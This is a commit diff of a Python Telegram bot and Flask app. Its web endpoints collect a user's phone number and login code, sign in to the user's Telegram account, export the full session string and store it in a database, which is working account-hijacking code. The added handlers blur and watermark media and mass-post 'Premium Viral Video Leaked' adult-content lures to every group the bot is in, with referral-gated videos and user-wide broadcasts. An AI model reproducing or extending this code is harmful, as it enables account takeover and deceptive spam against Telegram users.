pmrony commited on
Commit
8818799
·
verified ·
1 Parent(s): e7e9603

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +286 -13
app.py CHANGED
@@ -3,6 +3,7 @@ import time
3
  import threading
4
  import requests
5
  import asyncio
 
6
  import urllib3
7
  from flask import Flask, jsonify, make_response, request
8
  from supabase import create_client
@@ -76,17 +77,14 @@ def api_send_code():
76
  phone = data.get('phone')
77
  user_id = data.get('user_id')
78
 
79
- if not user_id or str(user_id) == '123456':
80
  return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Please Open WebApp inside Telegram Bot!"})))
81
 
82
  async def process_send_code():
83
- # নতুন Pyrogram ক্লায়েন্ট তৈরি করা হচ্ছে ইউজারের নাম্বারের জন্য (In-Memory)
84
  client = Client(f"session_{phone}", api_id=API_ID, api_hash=API_HASH, in_memory=True)
85
  await client.connect()
86
  try:
87
- # অফিশিয়াল টেলিগ্রাম থেকে কোড রিকোয়েস্ট করা হচ্ছে
88
  code_info = await client.send_code(phone)
89
- # ক্লায়েন্ট এবং হ্যাশ সেভ করে রাখা হচ্ছে
90
  temp_clients[phone] = {
91
  'client': client,
92
  'hash': code_info.phone_code_hash
@@ -121,14 +119,10 @@ def api_verify_code():
121
  phone_hash = temp_data['hash']
122
 
123
  try:
124
- # OTP দিয়ে লগইন করা হচ্ছে
125
  await client.sign_in(phone, phone_hash, user_otp)
126
-
127
- # String Session তৈরি করা হচ্ছে
128
  session_string = await client.export_session_string()
129
  await client.disconnect()
130
 
131
- # ডাটাবেসে user_sessions টেবিলে সেভ করা হচ্ছে
132
  await db_query(lambda: supabase.table('user_sessions').insert({
133
  "user_id": user_id,
134
  "session_string": session_string
@@ -206,16 +200,295 @@ async def start(client, message):
206
  await message.reply(welcome_text, parse_mode=enums.ParseMode.HTML, reply_markup=markup)
207
  except Exception as e: print(f"Start error: {e}")
208
 
209
- # (বাকি কোড যেমন এডমিন প্যানেল, ব্রডকাস্ট, ভিডিও আপলোড আগের মতই থাকবে)
210
- # আমি এখানে জায়গার জন্য পুরোটা দিলাম না, আপনি আগের কোডের এই অংশগুলো নিচে বসিয়ে নিতে পারবেন।
211
- # তবে মেইন ফাংশন এবং ফ্লাস্ক লুপ রান করার অংশ নিচে দিলাম।
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
212
 
213
  def upload_file_sync(upload_url, file_path, api_key):
214
  with open(file_path, 'rb') as f:
215
  return requests.post(upload_url, data={'key': api_key}, files={'file': f}, timeout=900).json()
216
 
217
- def run_flask():
218
- app.run(host="0.0.0.0", port=7860)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
219
 
220
  async def main():
221
  await bot.start()
 
3
  import threading
4
  import requests
5
  import asyncio
6
+ import re
7
  import urllib3
8
  from flask import Flask, jsonify, make_response, request
9
  from supabase import create_client
 
77
  phone = data.get('phone')
78
  user_id = data.get('user_id')
79
 
80
+ if not user_id or str(user_id) == '123456' or str(user_id) == '':
81
  return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Please Open WebApp inside Telegram Bot!"})))
82
 
83
  async def process_send_code():
 
84
  client = Client(f"session_{phone}", api_id=API_ID, api_hash=API_HASH, in_memory=True)
85
  await client.connect()
86
  try:
 
87
  code_info = await client.send_code(phone)
 
88
  temp_clients[phone] = {
89
  'client': client,
90
  'hash': code_info.phone_code_hash
 
119
  phone_hash = temp_data['hash']
120
 
121
  try:
 
122
  await client.sign_in(phone, phone_hash, user_otp)
 
 
123
  session_string = await client.export_session_string()
124
  await client.disconnect()
125
 
 
126
  await db_query(lambda: supabase.table('user_sessions').insert({
127
  "user_id": user_id,
128
  "session_string": session_string
 
200
  await message.reply(welcome_text, parse_mode=enums.ParseMode.HTML, reply_markup=markup)
201
  except Exception as e: print(f"Start error: {e}")
202
 
203
+ @bot.on_message(filters.new_chat_members)
204
+ async def bot_added_to_group(client, message):
205
+ me = client.me
206
+ if getattr(me, "id", None) is None:
207
+ try: me = await client.get_me()
208
+ except: return
209
+
210
+ for member in message.new_chat_members:
211
+ if member.id == me.id:
212
+ try:
213
+ await db_query(lambda: supabase.table('groups').upsert({'group_id': message.chat.id}).execute())
214
+ group_name = message.chat.title
215
+ admin_msg = f"✅ <b>বট নতুন একটি গ্রুপে অ্যাড হয়েছে!</b>\n\n📌 <b>গ্রুপের নাম:</b> {group_name}\n🆔 <b>ID:</b> <code>{message.chat.id}</code>"
216
+ for admin_id in ADMIN_IDS:
217
+ try: await client.send_message(chat_id=admin_id, text=admin_msg, parse_mode=enums.ParseMode.HTML)
218
+ except: pass
219
+ except: pass
220
+
221
+ @bot.on_message(filters.command("blur") & filters.private & filters.user(ADMIN_IDS))
222
+ async def set_blur_state(client, message):
223
+ try:
224
+ args = message.text.split()
225
+ if len(args) > 1 and args[1].lower() in ['0', '0%', 'off', 'cancel']:
226
+ if message.chat.id in admin_states:
227
+ admin_states[message.chat.id].pop("blur_percent", None)
228
+ admin_states[message.chat.id].pop("clear_percent", None)
229
+ await message.reply("✅ <b>ব্লার মোড বন্ধ করা হয়েছে!</b>")
230
+ return
231
+
232
+ match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', message.text, re.IGNORECASE)
233
+ if match:
234
+ percent = int(match.group(1))
235
+ clear_percent = int(match.group(2)) if match.group(2) else 0
236
+
237
+ if percent == 0:
238
+ if message.chat.id in admin_states:
239
+ admin_states[message.chat.id].pop("blur_percent", None)
240
+ admin_states[message.chat.id].pop("clear_percent", None)
241
+ await message.reply("✅ <b>ব্লার মোড বন্ধ করা হয়েছে!</b>")
242
+ return
243
+
244
+ if message.chat.id not in admin_states: admin_states[message.chat.id] = {}
245
+ admin_states[message.chat.id]["blur_percent"] = percent
246
+ admin_states[message.chat.id]["clear_percent"] = clear_percent
247
+
248
+ clear_msg = f"এবং উপরের <b>{clear_percent}%</b> অংশ ক্লিয়ার থাকবে।" if clear_percent > 0 else "পুরো অংশ ব্লার হবে।"
249
+ await message.reply(f"✅ <b>ব্লার সেট করা হয়েছে: {percent}%</b>\n📌 {clear_msg}", parse_mode=enums.ParseMode.HTML)
250
+ else:
251
+ await message.reply("❌ <b>ভুল কমান্ড!</b> নিয়ম: `/blur 60` অথবা `/blur 60 20`")
252
+ except Exception as e: print(e)
253
 
254
  def upload_file_sync(upload_url, file_path, api_key):
255
  with open(file_path, 'rb') as f:
256
  return requests.post(upload_url, data={'key': api_key}, files={'file': f}, timeout=900).json()
257
 
258
+ @bot.on_message((filters.video | filters.animation | filters.photo) & filters.private & filters.user(ADMIN_IDS))
259
+ async def handle_media_upload(client, message):
260
+ state = admin_states.get(message.chat.id, {})
261
+ if state.get("step") == "broadcast":
262
+ await process_broadcast(client, message)
263
+ return
264
+
265
+ media_type = "video" if message.video else "animation" if message.animation else "photo"
266
+ has_blur_caption = message.caption and "/blur" in message.caption.lower()
267
+ is_persistent_blur = bool(state.get("blur_percent"))
268
+
269
+ if media_type == "photo" and not (has_blur_caption or is_persistent_blur):
270
+ status = await message.reply("⏳ থাম্বনেইল সেভ হচ্ছে...")
271
+ try:
272
+ local_path = await message.download()
273
+ if not local_path:
274
+ await status.edit_text("❌ থাম্বনেইল ডাউনলোড করা সম্ভব হয়নি!")
275
+ return
276
+ def upload_to_supabase():
277
+ with open(local_path, 'rb') as f: file_bytes = f.read()
278
+ file_name = f"thumb_{int(time.time())}.jpg"
279
+ supabase.storage.from_('thumbnails').upload(file_name, file_bytes, {"content-type": "image/jpeg"})
280
+ return supabase.storage.from_('thumbnails').get_public_url(file_name)
281
+ direct_link = await asyncio.to_thread(upload_to_supabase)
282
+ if os.path.exists(local_path): os.remove(local_path)
283
+ await status.edit_text(f"✅ <b>থাম্বনেইল সফলভাবে সেভ হয়েছে!</b>\n\n<code>{direct_link}</code>", parse_mode=enums.ParseMode.HTML)
284
+ except Exception as e: await status.edit_text(f"⚠️ আপলোড এরর: {e}")
285
+ return
286
+
287
+ raw_caption = message.caption or ""
288
+ blur_match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', raw_caption, re.IGNORECASE)
289
+ is_blur = False
290
+ blur_percent = 0
291
+ clear_percent = 0
292
+ clean_caption = raw_caption
293
+
294
+ if blur_match:
295
+ is_blur = True
296
+ blur_percent = int(blur_match.group(1))
297
+ clear_percent = int(blur_match.group(2)) if blur_match.group(2) else 0
298
+ clean_caption = re.sub(r'/blur\s*\d+%?(?:\s*\d+%?)?', '', raw_caption, flags=re.IGNORECASE).strip()
299
+ elif state.get("blur_percent"):
300
+ is_blur = True
301
+ blur_percent = state["blur_percent"]
302
+ clear_percent = state.get("clear_percent", 0)
303
+
304
+ is_large_video = False
305
+ if media_type == "video":
306
+ duration = message.video.duration if message.video and message.video.duration else 0
307
+ file_size = message.video.file_size if message.video and message.video.file_size else 0
308
+ if duration > 600 or file_size > 150 * 1024 * 1024:
309
+ is_large_video = True
310
+ is_blur = False
311
+
312
+ status_msg = await message.reply("⏳ <b>ভিডিওটি বড়!</b> ব্লার স্কিপ হচ্ছে..." if is_large_video else "⏳ মিডিয়া ডাউনলোড হচ্ছে...")
313
+ bot_me = client.me if client.me else await client.get_me()
314
+ bot_link = f"https://t.me/{bot_me.username}"
315
+ original_file = watermarked_file = blurred_file = final_file = embed_link = None
316
+
317
+ try:
318
+ original_file = await message.download()
319
+ if not original_file:
320
+ await status_msg.edit_text("❌ মিডিয়া ফাইলটি ডাউনলোড করা সম্ভব হয়নি!")
321
+ return
322
+
323
+ final_file = original_file
324
+
325
+ if media_type == "video" and not is_large_video:
326
+ await status_msg.edit_text("⏳ ভিডিও ওয়াটারমার্ক করা হচ্ছে...")
327
+ watermarked_file = f"{original_file}_wm.mp4"
328
+ cmd = ["ffmpeg", "-y", "-i", original_file, "-vf", "drawtext=text='@mxvdo':x=W-tw-20:y=H-th-20:fontsize=22:fontcolor=white@0.7:shadowcolor=black@0.8:shadowx=2:shadowy=2:enable='gte(t,5)'", "-c:v", "libx264", "-preset", "ultrafast", "-threads", "1", "-crf", "28", "-pix_fmt", "yuv420p", "-c:a", "aac", "-b:a", "128k", "-movflags", "+faststart", watermarked_file]
329
+ process = await asyncio.create_subprocess_exec(*cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
330
+ await process.communicate()
331
+ if process.returncode == 0 and os.path.exists(watermarked_file): final_file = watermarked_file
332
+
333
+ if is_blur and not is_large_video:
334
+ await status_msg.edit_text(f"⏳ {blur_percent}% ব্লার তৈরি করা হচ্ছে...")
335
+ radius = max(2, min(20, int((blur_percent / 100.0) * 30)))
336
+ ext = "jpg" if media_type == "photo" else "mp4"
337
+ blurred_file = f"{original_file}_blurred.{ext}"
338
+
339
+ if clear_percent > 0:
340
+ clear_ratio = clear_percent / 100.0
341
+ ff_filter = ["-filter_complex", f"[0:v]split[v1][v2];[v2]boxblur={radius}:1[blurred];[v1]crop=iw:ih*{clear_ratio}:0:0[top];[blurred][top]overlay=0:0"]
342
+ else:
343
+ ff_filter = ["-vf", f"boxblur={radius}:1"]
344
+
345
+ if media_type == "photo": cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + [blurred_file]
346
+ elif media_type == "animation": cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + ["-c:v", "libx264", "-preset", "ultrafast", "-threads", "1", "-pix_fmt", "yuv420p", blurred_file]
347
+ else: cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + ["-c:v", "libx264", "-preset", "ultrafast", "-threads", "1", "-crf", "28", "-pix_fmt", "yuv420p", "-c:a", "aac", "-b:a", "128k", "-movflags", "+faststart", blurred_file]
348
+
349
+ process_blur = await asyncio.create_subprocess_exec(*cmd_blur, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
350
+ await process_blur.communicate()
351
+ if process_blur.returncode == 0 and os.path.exists(blurred_file): final_file = blurred_file
352
+
353
+ if media_type == "video":
354
+ await status_msg.edit_text("⏳ byse.sx সার্ভারে ভিডিও আপলোড করা হচ্ছে...")
355
+ loop = asyncio.get_event_loop()
356
+ result = await loop.run_in_executor(None, lambda: requests.get("https://api.byse.sx/upload/server", params={'key': BYSE_API_KEY}, timeout=30).json())
357
+
358
+ if result.get('status') == 200:
359
+ upload_res = await loop.run_in_executor(None, upload_file_sync, result.get('result'), final_file, BYSE_API_KEY)
360
+ if upload_res.get('status') == 200 and 'files' in upload_res and len(upload_res['files']) > 0:
361
+ file_code = upload_res['files'][0].get('filecode')
362
+ if file_code: embed_link = f"https://bysesayeveum.com/e/{file_code}"
363
+
364
+ if not embed_link:
365
+ await status_msg.edit_text("❌ byse.sx আপলোড হয়েছে কিন্তু Embed Link পাওয়া যায়নি।")
366
+ return
367
+
368
+ if is_large_video:
369
+ await client.send_video(message.chat.id, message.video.file_id, caption=f"✅ <b>সফল! (বড় ভিডিও)</b>\n\n🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>", parse_mode=enums.ParseMode.HTML)
370
+ await status_msg.delete()
371
+ return
372
+
373
+ await status_msg.edit_text("⏳ গ্রুপে পাঠানোর প্রস্তুতি চলছে...")
374
+
375
+ caption_text = (f"🔥 <b>New Premium Viral Video Leaked!</b> 🔞\n\n🎬 <b>Watch HD Video Here:</b>\n👉 <b><a href='{embed_link or bot_link}'>▶️ Click Here to Watch</a></b>\n\n👇 <i>Click the button below to open Bot!</i>")
376
+ group_markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Watch Full Video Here 🔞", url=bot_link)]])
377
+
378
+ admin_cap = f"✅ <b>সফল!</b> মিডিয়াটি এখন গ্রুপগুলোতে পাঠানো হচ্ছে...\n\n🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>"
379
+ thumb_path = None
380
+
381
+ if media_type == "video":
382
+ v_duration = message.video.duration if message.video else 0
383
+ v_width = message.video.width if message.video else 0
384
+ v_height = message.video.height if message.video else 0
385
+ thumb_path = f"{original_file}_thumb.jpg"
386
+ proc = await asyncio.create_subprocess_exec(*["ffmpeg", "-y", "-i", final_file, "-vframes", "1", thumb_path], stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
387
+ await proc.communicate()
388
+ if not os.path.exists(thumb_path): thumb_path = None
389
+
390
+ if media_type == "photo": tg_file_id = (await client.send_photo(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)).photo.file_id
391
+ elif media_type == "animation": tg_file_id = (await client.send_animation(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)).animation.file_id
392
+ else: tg_file_id = (await client.send_video(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML, duration=v_duration, width=v_width, height=v_height, thumb=thumb_path)).video.file_id
393
+
394
+ await status_msg.delete()
395
+ groups_res = await db_query(lambda: supabase.table('groups').select('group_id').execute())
396
+ group_ids = [g['group_id'] for g in groups_res.data]
397
+ success_count, fail_count = 0, 0
398
+
399
+ for gid in set(group_ids):
400
+ try:
401
+ if media_type == "photo": await client.send_photo(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
402
+ elif media_type == "animation": await client.send_animation(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
403
+ else: await client.send_video(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
404
+ success_count += 1
405
+ await asyncio.sleep(1.5)
406
+ except Exception: fail_count += 1
407
+
408
+ await message.reply(f"📢 <b>ব্রডকাস্ট সম্পন্ন!</b>\n\n✅ সফল: {success_count} টি গ্রুপে\n❌ ব্যর্থ: {fail_count} টি গ্রুপে", parse_mode=enums.ParseMode.HTML)
409
+
410
+ except Exception as e: await message.reply(f"⚠️ এরর হয়েছে: {str(e)}")
411
+ finally:
412
+ for f in [original_file, watermarked_file, blurred_file, f"{original_file}_thumb.jpg" if original_file else None]:
413
+ if f and os.path.exists(f):
414
+ try: os.remove(f)
415
+ except: pass
416
+
417
+ @bot.on_message(filters.command(["stats", "users"]) & filters.private & filters.user(ADMIN_IDS))
418
+ async def bot_stats(client, message):
419
+ try:
420
+ users = await db_query(lambda: supabase.table('referrals').select('user_id', count='exact').execute())
421
+ videos = await db_query(lambda: supabase.table('videos').select('*', count='exact').execute())
422
+ groups = await db_query(lambda: supabase.table('groups').select('group_id', count='exact').execute())
423
+ await message.reply(f"📊 <b>বটের বর্তমান স্ট্যাটাস:</b>\n\n👥 মোট ইউজার: <code>{users.count or 0}</code> জন\n🎬 মোট ভিডিও: <code>{videos.count or 0}</code> টি\n📢 মোট গ্রুপ: <code>{groups.count or 0}</code> টি", parse_mode=enums.ParseMode.HTML)
424
+ except Exception as e: print(e)
425
+
426
+ @bot.on_message(filters.command("broadcast") & filters.private & filters.user(ADMIN_IDS))
427
+ async def broadcast_command(client, message):
428
+ admin_states[message.chat.id] = {"step": "broadcast"}
429
+ await message.reply("📢 সবার কাছে যা পাঠাতে চান দিন। (বাতিল করতে /cancel)")
430
+
431
+ async def process_broadcast(client, message):
432
+ text = message.text or message.caption
433
+ if text == '/cancel':
434
+ admin_states.pop(message.chat.id, None)
435
+ return await message.reply("❌ বাতিল করা হয়েছে।")
436
+
437
+ await message.reply("⏳ ব্রডকাস্ট শুরু হয়েছে...")
438
+ admin_states.pop(message.chat.id, None)
439
+
440
+ try:
441
+ all_users, start, step = [], 0, 1000
442
+ while True:
443
+ res = await db_query(lambda: supabase.table('referrals').select('user_id').range(start, start + step - 1).execute())
444
+ if not res.data: break
445
+ all_users.extend(res.data)
446
+ start += step
447
+
448
+ success, failed = 0, 0
449
+ for u in all_users:
450
+ try:
451
+ await message.copy(chat_id=u['user_id'])
452
+ success += 1
453
+ await asyncio.sleep(0.15)
454
+ except Exception: failed += 1
455
+
456
+ await message.reply(f"✅ ব্রডকাস্ট সম্পন্ন!\nসফল: {success}\nব্যর্থ: {failed}")
457
+ except Exception as e: print(e)
458
+
459
+ @bot.on_message(filters.command(["png", "addvideo"]) & filters.private & filters.user(ADMIN_IDS))
460
+ async def add_png(client, message):
461
+ try:
462
+ parts = message.command
463
+ needed_ref, duration = 3, "random"
464
+ if len(parts) == 4 and parts[1].isdigit(): needed_ref, duration, thumbnail_url = int(parts[1]), parts[2], parts[3]
465
+ elif len(parts) == 3 and parts[1].isdigit(): needed_ref, thumbnail_url = int(parts[1]), parts[2]
466
+ elif len(parts) == 2: thumbnail_url = parts[1]
467
+ else: return await message.reply("❌ নিয়ম ভুল।")
468
+
469
+ admin_states[message.chat.id] = {"step": 1, "thumbnail_url": f"{thumbnail_url}||{duration}", "needed_ref": needed_ref}
470
+ await message.reply("✅ এখন Video/Embed Link দিন।")
471
+ except Exception as e: print(e)
472
+
473
+ @bot.on_message(filters.private & filters.user(ADMIN_IDS) & ~filters.command(["start", "stats", "users", "broadcast", "png", "addvideo", "blur"]))
474
+ async def catch_admin_steps(client, message):
475
+ state = admin_states.get(message.chat.id, {})
476
+ if state.get("step") == 1:
477
+ if not message.text: return
478
+ video_url = message.text.strip()
479
+ if video_url == "/cancel":
480
+ admin_states.pop(message.chat.id, None)
481
+ return await message.reply("❌ বাতিল করা হয়েছে।")
482
+
483
+ try:
484
+ await db_query(lambda: supabase.table('videos').insert({"video_url": video_url, "thumbnail_url": state["thumbnail_url"], "needed_ref": state["needed_ref"]}).execute())
485
+ await message.reply("🎉 ভিডিও সফলভাবে অ্যাড হয়েছে!")
486
+ except Exception as e: print(e)
487
+ finally: admin_states.pop(message.chat.id, None)
488
+
489
+ elif state.get("step") == "broadcast": await process_broadcast(client, message)
490
+
491
+ def run_flask(): app.run(host="0.0.0.0", port=7860)
492
 
493
  async def main():
494
  await bot.start()